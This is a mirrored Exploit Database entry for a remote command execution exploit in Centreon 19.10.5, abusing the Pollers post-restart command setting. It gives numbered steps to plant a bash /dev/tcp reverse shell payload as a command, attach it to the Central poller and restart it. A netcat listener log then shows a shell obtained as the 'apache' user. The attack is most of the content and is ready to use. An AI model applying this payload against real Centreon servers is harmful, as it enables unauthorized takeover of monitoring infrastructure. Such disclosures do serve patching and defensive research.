Centreon 19.10.5 – ‘Pollers’ Remote Command Execution

• Exploit Database
• 13 阅读

• 作者： Omri Baso
  日期： 2020-01-29
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/47977/

• # Exploit Title: Centreon 19.10.5 - 'Pollers' Remote Command Execution
  # Date: 2020-01-27
  # Exploit Author: Omri Baso, Fabien Aunay
  # Vendor Homepage: https://www.centreon.com/
  # Software Link: https://github.com/centreon/centreon
  # Version: 19.10.5
  # Tested on: CentOS 7.7
  # CVE : -
  
  
  Centreon 19.10.5 Remote Command Execution Misc
  
  Trusted by SMBs and Fortune 500 companies worldwide.
  An industry reference in IT Infrastructure monitoring for the enterprise.
  Counts 200,000+ ITOM users worldwide and an international community of software collaborators.
  Presence in Toronto and Luxembourg.
  Deployed in diverse sectors:
  - IT & telecommunication
  - Transportation
  - Government
  - Heath care
  - Retail
  - Utilities
  - Finance & Insurance
  - Aerospace & Defense
  - Manufacturing
  - etc.
  
  
  User input isn't sanitized for safe use - and it is possible to gain a Remote Code Execution of the server
  hosting the Centreon Service leading to a full server takeover with the user "apache"
  
  Steps:
  1.) <BASEURL>/centreon/main.php?p=60803&type=3
   Here we create the Command - can also be found under
   Configuration>Commands>Miscellaneous
   we Press "Add" -
   Command Name: "misc"
   Payload: 0<&121-;exec 121<>/dev/tcp/127.0.0.1/1234;sh <&121 >&121 2>&121
  
  2.) go to: <BASEURL>/centreon/main.php?p=60901
   Configuration>Pollers
   Open "Central" Poller
   add on "Post-Restart command"
   the command "misc" we created
   make Status "Enabled"
  
  3.) Check the box "Post generation command" in the "Export Configuration" Tab
  3.1) Restart Poller and get Shell.
  
  
  
  
  ┌─[root@vps]─[~]
  └──╼ #nc -lnvp 1234
  Ncat: Version 7.50 ( https://nmap.org/ncat )
  Ncat: Listening on :::1234
  Ncat: Listening on 0.0.0.0:1234
  Ncat: Connection from 127.0.0.1.
  Ncat: Connection from 127.0.0.1:49184.
  whoami
  apache
  id
  uid=48(apache) gid=48(apache) groups=48(apache),990(centreon-engine),992(centreon-broker),993(nagios),994(centreon)
  ___________________________________________________________________